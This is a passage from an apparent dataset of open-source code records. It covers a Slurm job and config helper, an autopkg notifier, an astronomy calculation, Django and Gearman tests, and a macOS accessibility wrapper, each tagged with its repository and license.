\"\"\"\n Get a slurm.conf value. Calls loadConfig if needed.\n \"\"\"\n if Slurm.conf is None:\n Slurm.loadConfig()\n if key not in Slurm.conf:\n raise Exception(\"Slurm config has no key %s\" % key)\n return Slurm.conf[key]\n \n \n @classmethod\n def loadConfig(cls,conffile=DEFAULT_SLURM_CONF_FILE):\n '''\n Constructs the object using the given slurm.conf file name.\n If this is called more than once, the values will be reloaded.\n \n If there are backslashes at the end of the line it's concatenated\n to the next one.\n \n NodeName lines are not saved because of the stupid DEFAULT stuff. \n Maybe someday.\n '''\n logger.debug(\"Initializing Slurm config using %s\" % conffile)\n Slurm.conf = dict()\n currline = ''\n m = re.compile(r'([^=]+)\\s*=\\s*(.*)') #Used to extract name=value \n n = re.compile(r'(\\S+)\\s+(.*)') #Parse values on PartitionName\n with open(conffile,'rt') as f:\n for line in f:\n line = line.rstrip().lstrip()\n if line.startswith('#') or line.isspace() or not line:\n continue\n \n # Concatenate lines with escaped line ending\n if line.endswith('\\\\'):\n logger.debug(\"Concatenating line %s\" % line)\n currline += line.rstrip('\\\\')\n continue\n \n currline += line\n \n # Skip nodename lines\n if currline.startswith('NodeName'):\n currline = ''\n continue\n \n # Split on first equal\n result = m.match(currline)\n if result is not None:\n name = result.group(1)\n value = result.group(2)\n \n # For PartitionName lines, we need to extract the name \n # and add it to the Partitions list\n if name == 'PartitionName':\n result2 = n.match(value)\n if result2 is None:\n logger.info(\"Bad PartitionName value %s. Skipping.\" \\\n % value)\n continue\n pname = result2.group(1)\n pvalue = result2.group(2)\n if 'Partitions' not in Slurm.conf:\n Slurm.conf['Partitions'] = dict()\n Slurm.conf['Partitions'][pname] = pvalue\n else: \n Slurm.conf[name] = value\n else:\n logger.error(\"Slurm config file %s has strange line '%s'\" % (conffile,currline))\n \n currline = ''\n \n @classmethod\n def killJob(cls,jobid):\n \"\"\"\n Uses scancel to kill the specified job\n \"\"\"\n scancel = Command.fetch(\"scancel\",jsonstr=Slurm.scancelstr)\n scancel.jobid = jobid\n [returncode,stdout,stderr] = scancel.run()\n \n # If scancel fails, keep trying with increasing sleep times between\n # attempts.\n attempts = 1\n t1 = t2 = 5\n while returncode != 0 and attempts < SBATCH_MAX_ATTEMPTS:\n sleep(t2)\n [returncode,stdout,stderr] = scancel.run()\n attempts += 1\n t1, t2 = t2, t1 + t2\n \n if returncode != 0:\n raise Exception(\"scancel command failed after %d attempts: %s\" % (SBATCH_MAX_ATTEMPTS,stderr))\n \n \n @classmethod\n def submitJob(cls,command,**kwargs):\n \"\"\"\n Uses SbatchCommand to submit a job. The following environment variables\n are used to set parameters first.\n \n Any slurm parameters that are set as keyword args will override the \n environment variables.\n \"\"\"\n sbatch = Command.fetch(\"sbatch\",jsonstr=Slurm.sbatchstr,defaults={\"partition\":\"serial_requeue\",\"time\":\"100\",\"output\":\"/dev/null\"})\n sbatch.command = command\n envs = {\"JT_SLURM_PARTITION\":\"partition\",\"JT_SLURM_TIME\":\"time\"}\n for env,arg in envs.iteritems():\n if env in os.environ:\n sbatch.setArgValue(arg,os.environ[env])\n \n for arg,value in kwargs.iteritems():\n if arg == \"scriptpath\":\n sbatch.scriptpath = value\n else:\n sbatch.setArgValue(arg,value)\n logger.info(\"sbatch command %s\" % sbatch)\n \n [returncode,stdout,stderr] = sbatch.run()\n \n # If sbatch fails, keep trying with increasing sleep times between\n # attempts.\n attempts = 1\n t1 = t2 = 5\n while returncode != 0 and attempts < SBATCH_MAX_ATTEMPTS:\n sleep(t2)\n [returncode,stdout,stderr] = sbatch.run()\n attempts += 1\n t1, t2 = t2, t1 + t2\n \n if returncode != 0:\n raise Exception(\"sbatch command failed after %d attempts: %s\" % (SBATCH_MAX_ATTEMPTS,stderr))\n \n jobid = stdout.split()[-1]\n return jobid\n \n \n", "source": "harvardinformatics/jobTree", "license": "MIT"} {"text": "#!/usr/bin/python\n#\n# Copyright 2015 Nick McSpadden\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import absolute_import\n\nimport os.path\nimport subprocess\n\nfrom autopkglib import Processor, ProcessorError\n\n__all__ = [\"Yo\"]\n\nclass Yo(Processor):\n description = \"Provides a Yo notification if anything was imported.\"\n input_variables = {\n \"munki_info\": {\n \"required\": False,\n \"description\": (\"Munki info dictionary to use to display info.\")\n },\n \"munki_repo_changed\": {\n \"required\": False,\n \"description\": (\"Whether or not item was imported.\")\n },\n \"yo_path\": {\n \"required\": False,\n \"description\": (\"Path to yo.app. Defaults to /Applications \"\n \"/Utilities/yo.app.\")\n }\n }\n output_variables = {\n }\n \n __doc__ = description\n \n def main(self):\n was_imported = self.env.get(\"munki_repo_changed\")\n munkiInfo = self.env.get(\"munki_info\")\n yo_path = self.env.get(\"yo_path\") or \"/Applications/Utilities/yo.app\"\n yo = os.path.join(yo_path, 'Contents/MacOS/yo')\n if was_imported:\n subtext = \"%s was imported\" % munkiInfo[\"name\"]\n cmd = [yo, \"-t\", \"Autopkg\", \"-s\", subtext ]\n proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n (cmd_out, cmd_err) = proc.communicate()\n\n\nif __name__ == \"__main__\":\n processor = Yo()\n processor.execute_shell()\n", "source": "apizz/nmcspadden-recipes", "license": "Apache-2.0"} {"text": "import numpy as np\n\nimport astropy.units as u\nimport astropy.constants as const\n\nmp=const.m_p.cgs.value\nmsol = const.M_sun.cgs.value\npc = const.pc.cgs.value\nmp=const.m_p.cgs.value\nc = const.pc.cgs.value\ne = const.e.esu.value\nme = const.m_e.cgs.value\nkb=const.k_B.cgs.value\nh = const.h.cgs.value\n\n### Table from Davies et al. 2011\nmass = np.array([6,9,12,15,20,25,30,35,40,50,60,70,80,90,100,110,120])\nQlyc = np.array([43.33,44.76,46.02,47.03,48.00,48.46,48.69,48.90,49.09,49.31,49.43,49.51,49.58,49.65,49.70,49.76,49.81])\n###\n\n# Convert cm flux to photon rate:\nflux = np.array([0.1483,0.0015,0.4819,0.1291,0.1657,0.1110,0.0032,5e-4,2.3e-3,0.7e-3,5e-3,14.9e-3]) # Jy\nT = np.full((len(flux)),1e4) # K\n\n# Equation from Megzer 1974\nQ2 = 4.761e48 / 1. * (23.42)**0.1 * (T)**(-0.45) * flux * (8.10)**2\n\n#print np.log10(Q2)\nprint np.interp(np.log10(Q2), Qlyc, mass)\n\n####################################\nprint \"Sgr D, distance is 2.36 kpc\"\nflux = [1.0258] # Jy\nT = np.full((len(flux)),1e4) # K\nQ2 = 4.761e48 / 1. * (23.42)**0.1 * (T)**(-0.45) * flux * (2.36)**2\n\n#print np.log10(Q2)\nprint np.interp(np.log10(Q2), Qlyc, mass)\n\n", "source": "xinglunju/CMZclouds", "license": "MIT"} {"text": "from statistics import NormalDist\nimport dataclasses\nfrom typing import Iterable\n\nimport numpy as np\n\n\nclass OrderUpToNormal:\n def fit(self, demand: Iterable):\n self.normal_distribution = NormalDist.from_samples(demand)\n return self\n\n def predict(\n self,\n current_inventory: int,\n lead_time: int,\n inventory_period: int,\n service_level: float = 0.999,\n ) -> float:\n t = lead_time + inventory_period\n service_point = (\n self.normal_distribution.inv_cdf(service_level)\n - self.normal_distribution.mean\n )\n desired_inventory = (self.normal_distribution.mean * t) + (\n service_point * np.sqrt(t)\n )\n return desired_inventory - current_inventory\n\n\nclass EmpiricalDistribution\n def __init__(self, dates, sales, products):\n", "source": "grai-io/inventory-management", "license": "MIT"} {"text": "#!/usr/bin/python\n\nimport threading, feedparser, time\nimport os\n#import RPi_GPIO as GPIO\nfrom time import strftime\nfrom datetime import datetime\nfrom time import sleep\nUSERNAME=\"piwoof\"\nRED_LED=14\n\nif __name__=='__main__':\n x=0\n password = ''\n homedir=os.path.expanduser('~')\n with open(os.path.abspath(homedir+'/.credentials/woof.txt')) as myfile:\n password=myfile.read().rstrip()\n while x<5:\n #print feedparser.parse(\"https://\"+USERNAME+\":\"+PSSWD+\"@mail.google.com/gmail/feed/atom\")\n newmails=int(feedparser.parse(\"https://\"+USERNAME+\":\"+password+\"@mail.google.com/gmail/feed/atom\")[\"feed\"][\"fullcount\"])\n print \"You have\", newmails, \"new messages\"\n time.sleep(5)\n x=x+1\n\n", "source": "jfaulkner/googleAPIUtil", "license": "MIT"} {"text": "from django.test import TestCase\nfrom django.test.client import RequestFactory\nfrom django.contrib.auth.models import User\nfrom notes.models import Note\nfrom django.urls import reverse, reverse_lazy\nfrom notes.views import (\n NoteCreate,\n NoteDetail,\n NoteUpdate,\n NoteDelete,\n NoteList\n)\nfrom django.shortcuts import render\n\n\nclass NoteCreateTests(TestCase):\n '''A user can insert a new note into the database.'''\n def setUp(self):\n '''Instaniate RequestFactory and User to make requests.'''\n self.factory = RequestFactory()\n self.user = User.objects.create(username='Zain',\n email='zain_14@icloud.com',\n password='bismillah')\n\n def test_post_new_note(self):\n '''A new note exists after the user submits the form.'''\n # simulate data the user types into the form\n form_data = {\n 'title': 'Frogs',\n 'content': 'What makes a frog tongue so strong?',\n }\n\n # simulate the user clicking 'Submit' on the form\n post_request = self.factory.post('notes:create_note_form', form_data)\n post_request.user = self.user\n response = NoteCreate.as_view()(post_request)\n # test the view redirects to the details page\n self.assertEqual(response.status_code, 302)\n # test that the database contains the new Page\n note = Note.objects.last()\n self.assertEqual(note.title, 'Frogs')\n self.assertEqual(note.slug, 'frogs')\n\n\nclass NoteDetailViewTests(TestCase):\n '''A user can view the details of a specific note.'''\n def setUp(self):\n '''Instaniate User for required author field in Note objects.'''\n self.user = User.objects.create(username='Zain',\n email='zain_14@icloud.com',\n password='bismillah')\n self.factory = RequestFactory()\n\n def test_get_details_for_one_note(self):\n \"\"\"The details included for a specific note are accurate\n with what's in the database, and for that note only.\n\n \"\"\"\n # simulate creation of a note (like before)\n note = Note.objects.create(title='Frogs',\n content='Why do frogs eat flies?',\n author=self.user,\n media=None)\n self.assertEqual(note.slug, 'frogs')\n\n # GET the details of the object\n get_request = self.factory.get('/notes/frogs')\n get_request.user = self.user\n response = NoteDetail.as_view()(get_request, note.slug)\n # test the data that renders\n self.assertEqual(len(Note.objects.filter(title=\"Frogs\")), 1)\n\n self.assertEqual(response.status_code, 200)\n\n self.assertContains(response, 'Frogs')\n\n inserted_note = Note.objects.get(title='Frogs')\n self.assertEqual(note.created, inserted_note.created)\n\n\nclass NoteUpdateTests(TestCase):\n '''A user can change the fields for a specific Note.'''\n def setUp(self):\n '''Instaniate User for required author field in Note objects.'''\n self.user = User.objects.create(username='Zain',\n email='zain_14@icloud.com',\n password='bismillah')\n self.factory = RequestFactory()\n self.note = Note.objects.create(title='Frogs',\n content='Why do frogs eat flies?',\n author=self.user,\n media=None)\n\n def test_get_update_form(self):\n '''A user sees the edit form prepopulated with the current data.'''\n # add a Note, make sure it's slug is generated\n self.assertEqual(self.note.slug, 'frogs')\n # the user can see the page using the slug of the Note in the URL\n get_request = self.factory.get('/notes/frogs/edit/')\n get_request.user = self.user\n response = NoteUpdate.as_view()(get_request, slug=self.note.slug)\n self.assertEqual(response.status_code, 200)\n self.assertContains(response, 'Frogs')\n\n def test_edit_note_redirect(self):\n '''After a valid form submission, the user is redirected.'''\n previous_content = self.note.content\n # user enters data they want to replace current Note data\n new_content = \"What makes a frog's tongue so sticky?\"\n form_data = {\n 'content': new_content\n }\n # user submits the form\n post_request = self.factory.post('/notes/frogs/edit/', form_data)\n post_request.user = self.user\n response = NoteUpdate.as_view()(post_request, slug=self.note.slug)\n # the data in the field of the corresponding Note changes\n self.assertEqual(response.status_code, 302)\n self.assertEqual(self.note.content, new_content)\n\n\nclass NoteDeletionTests(TestCase):\n '''A user can delete a Note.'''\n def setUp(self):\n '''Instaniate User for required author field in Note objects.'''\n self.user = User.objects.create(username='Zain',\n email='zain_14@icloud.com',\n password='bismillah')\n self.factory = RequestFactory()\n self.note = Note.objects.create(title='Frogs',\n content='Why do frogs eat flies?',\n author=self.user,\n media=None)\n self.note.save()\n\n def test_get_delete_page(self):\n '''A user is able to see a page asking them to confirm deletion.'''\n get_request = self.factory.get('notes:delete_note')\n get_request.user = self.user\n response = NoteDelete.as_view()(get_request, slug=self.note.slug)\n self.assertEqual(response.status_code, 200)\n\n def test_note_deletion(self):\n '''A note is no longer in the database after it is deleted.'''\n # user makes a POST request at the confirm page\n post_request = self.factory.post('notes:delete_note')\n response = NoteDelete.as_view()(post_request, slug=self.note.slug)\n # user is redirected\n self.assertEqual(response.status_code, 302)\n # the deleted note is no longer in the database\n queryset_of_deleted_note = Note.objects.get(title=self.note.title)\n self.assertEqual(len(queryset_of_deleted_note), 0)\n\n\nclass NoteListTests(TestCase):\n def setUp(self):\n '''Instaniate User and Note objects.'''\n self.user = User.objects.create(username='Zain',\n email='zain_14@icloud.com',\n password='bismillah')\n self.factory = RequestFactory()\n\n def test_get_list_page(self):\n '''A user sees a page with all their notes together.'''\n # the user has already made notes\n first_note = Note.objects.create(title='Frogs',\n content='Why do frogs eat flies?',\n author=self.user,\n media=None)\n next_note = Note.objects.create(title='Storms',\n content='Storms bring precipitation',\n author=self.user,\n media=None)\n get_request = self.factory.get('notes:index')\n # there are multiple notes displayed\n response = NoteList.as_view()(get_request)\n self.assertEqual(response.status_code, 200)\n self.assertContains(response.content, first_note.title)\n self.assertContains(response.content, next_note.title)\n\n def test_get_list_page_no_notes(self):\n '''User sees a message if they have no notes on record currently.'''\n get_request = self.factory.get('notes:index')\n get_request.user = self.user\n response = NoteList.as_view()(get_request)\n self.assertContains(response.content, (\n \"You don't have any notes to display.\"\n ))\n", "source": "UPstartDeveloper/explorer_buddy", "license": "MIT"} {"text": "#!/usr/bin/python\n# ex:set fileencoding=utf-8:\n\ndefault_app_config = 'mosquitto.apps.Config'\n", "source": "glomium/cmstemplate", "license": "BSD-3-Clause"} {"text": "\"\"\"Wrap objc calls to raise python exception.\"\"\"\nimport AppKit\nfrom ApplicationServices import AXIsProcessTrusted\nfrom ApplicationServices import AXUIElementCopyActionNames\nfrom ApplicationServices import AXUIElementCopyAttributeNames\nfrom ApplicationServices import AXUIElementCopyAttributeValue\nfrom ApplicationServices import AXUIElementCopyElementAtPosition\nfrom ApplicationServices import AXUIElementGetPid\nfrom ApplicationServices import AXUIElementIsAttributeSettable\nfrom ApplicationServices import AXUIElementPerformAction\nfrom ApplicationServices import AXUIElementSetAttributeValue\nfrom ApplicationServices import AXUIElementSetMessagingTimeout\nfrom ApplicationServices import kAXErrorActionUnsupported\nfrom ApplicationServices import kAXErrorAPIDisabled\nfrom ApplicationServices import kAXErrorAttributeUnsupported\nfrom ApplicationServices import kAXErrorCannotComplete\nfrom ApplicationServices import kAXErrorFailure\nfrom ApplicationServices import kAXErrorIllegalArgument\nfrom ApplicationServices import kAXErrorInvalidUIElement\nfrom ApplicationServices import kAXErrorInvalidUIElementObserver\nfrom ApplicationServices import kAXErrorNotificationAlreadyRegistered\nfrom ApplicationServices import kAXErrorNotificationNotRegistered\nfrom ApplicationServices import kAXErrorNotificationUnsupported\nfrom ApplicationServices import kAXErrorNotImplemented\nfrom ApplicationServices import kAXErrorNoValue\nfrom ApplicationServices import kAXErrorSuccess\nfrom PyObjCTools import AppHelper\n\n\ndef is_accessibility_enabled():\n \"\"\"Return the status of accessibility on the system.\"\"\"\n return AXIsProcessTrusted()\n\n\ndef get_frontmost_pid():\n \"\"\"Return the process ID of the application in the foreground\"\"\"\n return AppKit.NSWorkspace.sharedWorkspace().frontmostApplication().processIdentifier()\n\n\ndef get_running_apps():\n \"\"\"Get a list of the running applications\"\"\"\n AppHelper.callLater(1, AppHelper.stopEventLoop)\n AppHelper.runConsoleEventLoop()\n work_space = AppKit.NSWorkspace.sharedWorkspace()\n return work_space.runningApplications()\n\n\ndef launch_app_by_bundle_id(bundle_id: str):\n work_space = AppKit.NSWorkspace.sharedWorkspace()\n response = work_space.launchAppWithBundleIdentifier_options_additionalEventParamDescriptor_launchIdentifier_( # noqa: E501\n bundle_id,\n AppKit.NSWorkspaceLaunchAllowingClassicStartup,\n AppKit.NSAppleEventDescriptor.nullDescriptor(),\n None,\n )\n if not response[0]:\n raise RuntimeError(f\"Error launching specified application. {response}\")\n\n\ndef launch_app_by_bundle_path(bundle_path: str, arguments=None):\n if arguments is None:\n arguments = []\n bundle_url = AppKit.NSURL.fileURLWithPath_(bundle_path)\n workspace = AppKit.NSWorkspace.sharedWorkspace()\n configuration = {AppKit.NSWorkspaceLaunchConfigurationArguments: arguments}\n return workspace.launchApplicationAtURL_options_configuration_error_(\n bundle_url, AppKit.NSWorkspaceLaunchAllowingClassicStartup, configuration, None\n )\n\n\ndef terminate_app_by_bundle_id(bundle_id: str):\n apps = get_running_apps_with_bundle_id(bundle_id)\n if apps:\n apps[0].terminate()\n\n\ndef get_running_apps_with_bundle_id(bundle_id: str):\n \"\"\"Return an array of NSRunningApplications.\"\"\"\n return AppKit.NSRunningApplication.runningApplicationsWithBundleIdentifier_(bundle_id)\n\n\ndef get_accessibility_element_attribute(element, attribute):\n \"\"\"Return the value of an accessibility object's attribute\n Args:\n element: The AXUIElementRef representing the accessibility object\n attribute: The attribute name\n\n Returns: the value associated with the specified attribute\n \"\"\"\n error_code, attr_value = AXUIElementCopyAttributeValue(element, attribute, None)\n error_messages = {\n kAXErrorAttributeUnsupported: \"The specified AXUIElementRef \"\n \"does not support the specified attribute.\",\n kAXErrorNoValue: \"The specified attribute does not have a value.\",\n kAXErrorIllegalArgument: \"One or more of the arguments is an illegal value.\",\n kAXErrorInvalidUIElement: \"The AXUIElementRef is invalid.\",\n kAXErrorCannotComplete: \"The function cannot complete \"\n \"because messaging has failed in some way.\",\n kAXErrorNotImplemented: \"The process does not fully support the accessibility API.\",\n }\n check_ax_error(error_code, error_messages)\n return attr_value\n\n\ndef check_attribute_settable(element, attribute) -> bool:\n \"\"\"Check whether the specified accessibility object's attribute can be modified.\n Args:\n element: The AXUIElementRef representing the accessibility object\n attribute: The attribute name\n\n Returns: a Boolean value indicating whether the attribute is settable\n \"\"\"\n error_code, settable = AXUIElementIsAttributeSettable(element, attribute, None)\n error_messages = {\n kAXErrorCannotComplete: \"The function cannot complete because messaging \"\n \"has failed in some way (often due to a timeout).\",\n kAXErrorIllegalArgument: \"One or more of the arguments is an illegal value.\",\n kAXErrorAttributeUnsupported: \"The specified AXUIElementRef \"\n \"does not support the specified attribute.\",\n kAXErrorNoValue: \"The specified attribute does not have a value.\",\n kAXErrorInvalidUIElement: \"The AXUIElementRef is invalid.\",\n kAXErrorNotImplemented: \"The process does not fully support the accessibility API.\",\n }\n check_ax_error(error_code, error_messages)\n return settable\n\n\ndef set_attribute_value(element, attribute, value):\n \"\"\"Set the accessibility object's attribute to the specified value\n Args:\n element: The AXUIElementRef representing the accessibility object\n attribute: The attribute name\n value: The new value for the attribute\n \"\"\"\n error_code = AXUIElementSetAttributeValue(element, attribute, value)\n error_messages = {\n kAXErrorIllegalArgument: \"The value is not recognized by the accessible application\"\n \" or one of the other arguments is an illegal value.\",\n kAXErrorAttributeUnsupported: \"The specified AXUIElementRef \"\n \"does not support the specified attribute.\",\n kAXErrorInvalidUIElement: \"The AXUIElementRef is invalid.\",\n kAXErrorCannotComplete: \"The function cannot complete \"\n \"because messaging has failed in some way.\",\n kAXErrorNotImplemented: \"The process does not fully support the accessibility API.\",\n }\n check_ax_error(error_code, error_messages)\n\n\ndef get_element_attribute_names(element):\n \"\"\"Get a list of attributes supported by the specified accessibility object\n Args:\n element: The AXUIElementRef representing the accessibility object\n\n Returns: an array containing the accessibility object's attribute names\n \"\"\"\n error_code, names = AXUIElementCopyAttributeNames(element, None)\n error_messages = {\n kAXErrorAttributeUnsupported: \"The specified AXUIElementRef \"\n \"does not support the specified attribute.\",\n kAXErrorIllegalArgument: \"One or both of the arguments is an illegal value.\",\n kAXErrorInvalidUIElement: \"The AXUIElementRef is invalid.\",\n kAXErrorFailure: \"There was a system memory failure.\",\n kAXErrorCannotComplete: \"The function cannot complete \"\n \"because messaging has failed in some way.\",\n kAXErrorNotImplemented: \"The process does not fully support the accessibility API.\",\n }\n check_ax_error(error_code, error_messages)\n return names\n\n\ndef get_element_action_names(element):\n \"\"\"Get a list of all the actions the specified accessibility object can perform.\n Args:\n element: The AXUIElementRef representing the accessibility object\n\n Returns: an array of actions the accessibility object can perform\n (empty if the accessibility object supports no actions)\n \"\"\"\n error_code, names = AXUIElementCopyActionNames(element, None)\n error_messages = {\n kAXErrorIllegalArgument: \"One or both of the arguments is an illegal value.\",\n kAXErrorInvalidUIElement: \"The AXUIElementRef is invalid.\",\n kAXErrorFailure: \"There was some sort of system memory failure.\",\n kAXErrorCannotComplete: \"The function cannot complete \"\n \"because messaging has failed in some way.\",\n kAXErrorNotImplemented: \"The process does not fully support the accessibility API.\",\n }\n check_ax_error(error_code, error_messages)\n return names\n\n\ndef perform_action_on_element(element, action):\n \"\"\"Make the accessibility object perform the specified action.\n Args:\n element: The AXUIElementRef representing the accessibility object\n action: The action to be performed\n \"\"\"\n error_code = AXUIElementPerformAction(element, action)\n error_messages = {\n kAXErrorActionUnsupported: \"Specified AXUIElementRef does not support the specified action\"\n \" (you will also receive this error error \"\n \"if you pass in the system-wide accessibility object).\",\n kAXErrorIllegalArgument: \"One or more of the arguments is an illegal value.\",\n kAXErrorInvalidUIElement: \"The AXUIElementRef is invalid.\",\n kAXErrorCannotComplete: \"The function cannot complete because messaging has failed\"\n \" in some way or the application has not yet responded.\",\n kAXErrorNotImplemented: \"The process does not fully support the accessibility API.\",\n }\n check_ax_error(error_code, error_messages)\n\n\ndef get_accessibility_object_pid(element):\n \"\"\"Get the process ID associated with the specified accessibility object.\n Args:\n element: The AXUIElementRef representing an accessibility object\n\n Returns: the process ID associated with the specified accessibility object\n \"\"\"\n error_code, pid = AXUIElementGetPid(element, None)\n error_messages = {\n kAXErrorIllegalArgument: \"One or more of the arguments is an illegal value.\",\n kAXErrorInvalidUIElement: \"The AXUIElementRef is invalid.\",\n }\n check_ax_error(error_code, error_messages)\n return pid\n\n\ndef get_accessibility_object_on_screen_position(application, x, y):\n \"\"\"Get the accessibility object at the specified position\n in top-left relative screen coordinates\n Args:\n application: The AXUIElementRef representing the application that\n contains the screen coordinates (or the system-wide accessibility object)\n x: The horizontal position\n y: The vertical position\n\n Returns: the accessibility object at the position specified by x and y\n \"\"\"\n error_code, element = AXUIElementCopyElementAtPosition(application, x, y, None)\n error_messages = {\n kAXErrorNoValue: \"There is no accessibility object at the specified position.\",\n kAXErrorIllegalArgument: \"One or more of the arguments is an illegal value.\",\n kAXErrorInvalidUIElement: \"The AXUIElementRef is invalid.\",\n kAXErrorCannotComplete: \"The function cannot complete \"\n \"because messaging has failed in some way.\",\n kAXErrorNotImplemented: \"The process does not fully support the accessibility API.\",\n }\n check_ax_error(error_code, error_messages)\n return element\n\n\ndef set_accessibility_api_timeout(element, timeout: int):\n \"\"\"Set the timeout value used in the accessibility API\n Args:\n element: The AXUIElementRef representing an accessibility object\n timeout: The number of seconds for the new timeout value\n \"\"\"\n error_code = AXUIElementSetMessagingTimeout(element, timeout)\n error_messages = {\n kAXErrorIllegalArgument: \"One or more of the arguments \"\n \"is an illegal value (timeout values must be positive).\",\n kAXErrorInvalidUIElement: \"The AXUIElementRef is invalid.\",\n }\n check_ax_error(error_code, error_messages)\n\n\nclass AXError(Exception):\n pass\n\n\nclass AXErrorUnsupported(AXError):\n pass\n\n\nclass AXErrorAPIDisabled(AXError):\n pass\n\n\nclass AXErrorInvalidUIElement(AXError):\n pass\n\n\nclass AXErrorCannotComplete(AXError):\n pass\n\n\nclass AXErrorNotImplemented(AXError):\n pass\n\n\nclass AXErrorIllegalArgument(AXError):\n pass\n\n\nclass AXErrorActionUnsupported(AXError):\n pass\n\n\nclass AXErrorNoValue(AXError):\n pass\n\n\nclass AXErrorFailure(AXError):\n pass\n\n\nclass AXErrorInvalidUIElementObserver(AXError):\n pass\n\n\nclass AXErrorNotificationUnsupported(AXError):\n pass\n\n\nclass AXErrorNotificationAlreadyRegistered(AXError):\n pass\n\n\nclass AXErrorNotificationNotRegistered(AXError):\n pass\n\n\nclass AXErrorAttributeUnsupported(AXError):\n pass\n\n\nclass AXErrorFactory:\n def __new__(cls, error_code):\n return {\n kAXErrorAPIDisabled: AXErrorAPIDisabled,\n kAXErrorInvalidUIElement: AXErrorInvalidUIElement,\n kAXErrorCannotComplete: AXErrorCannotComplete,\n kAXErrorNotImplemented: AXErrorNotImplemented,\n kAXErrorIllegalArgument: AXErrorIllegalArgument,\n kAXErrorNoValue: AXErrorNoValue,\n kAXErrorFailure: AXErrorFailure,\n kAXErrorInvalidUIElementObserver: AXErrorInvalidUIElementObserver,\n kAXErrorNotificationUnsupported: AXErrorNotificationUnsupported,\n kAXErrorNotificationAlreadyRegistered: AXErrorNotificationAlreadyRegistered,\n kAXErrorNotificationNotRegistered: AXErrorNotificationNotRegistered,\n kAXErrorAttributeUnsupported: AXErrorAttributeUnsupported,\n kAXErrorActionUnsupported: AXErrorActionUnsupported,\n }.get(error_code, AXErrorUnsupported)\n\n\ndef check_ax_error(error_code: int, error_messages) -> None:\n \"\"\"Return if code is kAXErrorSuccess.\n Raise an error with given message based on given error code.\n Defaults to AXErrorUnsupported for unknown codes.\n Args:\n error_code: the error code\n error_messages: mapping from error code to error message\n \"\"\"\n if error_code == kAXErrorSuccess:\n return\n try:\n error_message = error_messages[error_code]\n except KeyError:\n if error_code == kAXErrorFailure:\n error_message = \"There is some sort of system memory failure\"\n else:\n error_message = f\"Unknown AX Error code: {error_code}\"\n raise AXErrorFactory(error_code)(error_message)\n", "source": "andriykislitsyn/macuitest", "license": "MIT"} {"text": "import pytest\nimport asyncio\nfrom struct import pack\nfrom functools import partial\nfrom aiogear.mixin import GearmanProtocolMixin\nfrom aiogear.packet import Type\nfrom aiogear.response import NoJob, JobCreated, JobAssign, Noop, WorkComplete\n\n\n_req = b'\\0REQ'\n_res = b'\\0RES'\n\n\ndef _pack(ptype, fmt, *args):\n return pack('>4s' + fmt, ptype, *args)\n\n_pack_req = partial(_pack, _req)\n_pack_res = partial(_pack, _res)\n\n\nclass TestPacketizing:\n \"\"\"\n Test messages documented in Binary Protocol Example section of\n http://gearman.org/protocol/\n \"\"\"\n result = ''\n protocol = None\n\n def given_protocol_params(self, event_loop=None):\n self.protocol = GearmanProtocolMixin(loop=event_loop)\n\n @pytest.mark.asyncio\n async def when_data_received(self, data, event_loop, register_for=None, timeout=0.1):\n # Register for all packet type, so not given explicitly\n register_for = register_for or [x for x in Type]\n\n f = self.protocol.wait_for(*register_for)\n self.protocol.data_received(data)\n self.result = await asyncio.wait_for(f, timeout, loop=event_loop)\n\n def then_expect_result(self, expected):\n assert expected == self.result\n\n @pytest.mark.parametrize('packet_type,args,expected', [\n (Type.CAN_DO, ('reverse',), _pack_req('II7s', 1, 7, b'reverse')),\n (Type.GRAB_JOB, (), _pack_req('II', 9, 0)),\n (Type.PRE_SLEEP, (), _pack_req('II', 4, 0)),\n (Type.SUBMIT_JOB, ('reverse', '', 'test'),\n _pack_req('II8sb4s', 7, 13, b'reverse\\0', 0, b'test')),\n (Type.WORK_COMPLETE, ('H:lap:1', 'tset'),\n _pack_req('II8s4s', 13, 12, b'H:lap:1\\0', b'tset')),\n ])\n def test_request(self, packet_type, args, expected):\n self.given_protocol_params()\n data = self.protocol.serialize_request(packet_type, *args)\n assert data == expected\n\n @pytest.mark.parametrize('data,expected', [\n (_pack_res('II', 10, 0), NoJob()),\n (_pack_res('II7s', 8, 7, b'H:lap:1'), JobCreated('H:lap:1')),\n (_pack_res('II', 6, 0), Noop()),\n (_pack_res('II8s8s4s', 11, 20, b'H:lap:1\\0', b'reverse\\0', b'test'),\n JobAssign('H:lap:1', 'reverse', 'test')),\n (_pack_res('II8s4s', 13, 12, b'H:lap:1\\0', b'tset'),\n WorkComplete('H:lap:1', 'tset'))\n ])\n @pytest.mark.asyncio\n async def test_response(self, data, expected, event_loop):\n self.given_protocol_params(event_loop)\n await self.when_data_received(data, event_loop)\n self.then_expect_result(expected)\n\n @pytest.mark.asyncio\n async def test_partial_receive(self, event_loop):\n self.given_protocol_params(event_loop)\n\n data1 = self.protocol.serialize_response(Type.JOB_ASSIGN, 'handle1', 'reverse1', '')\n data2 = self.protocol.serialize_request(Type.JOB_ASSIGN, 'handle2', 'reverse2', '')\n data = data1 + data2[:5]\n\n await self.when_data_received(data, event_loop)\n self.then_expect_result(JobAssign('handle1', 'reverse1', ''))\n\n await self.when_data_received(data2[5:], event_loop)\n self.then_expect_result(JobAssign('handle2', 'reverse2', ''))\n", "source": "agronick/aiogear", "license": "MIT"} {"text": "from bs4 import BeautifulSoup\nimport pytest\nimport shutil\n\n\n@pytest.mark.sphinx(\"html\", testroot=\"hiddendirectives\")\ndef test_warning(app, warnings):\n \"\"\"Test warning thrown during the build\"\"\"\n build_path = app.srcdir.joinpath(\"_build\")\n shutil.rmtree(build_path)\n app.build()\n\n assert (\n \"_enum_hidden.rst: WARNING: duplicate label: ex-hidden-number;\"\n ) in warnings(app)\n\n\n@pytest.mark.sphinx(\"html\", testroot=\"hiddendirectives\")\n@pytest.mark.parametrize(\n \"idir\",\n [\n \"_enum_hidden.html\",\n \"_unenum_hidden.html\",\n ],\n)\ndef test_hidden_exercise(app, idir, file_regression):\n \"\"\"Test exercise directive markup.\"\"\"\n app.build()\n path_to_directive = app.outdir / idir\n assert 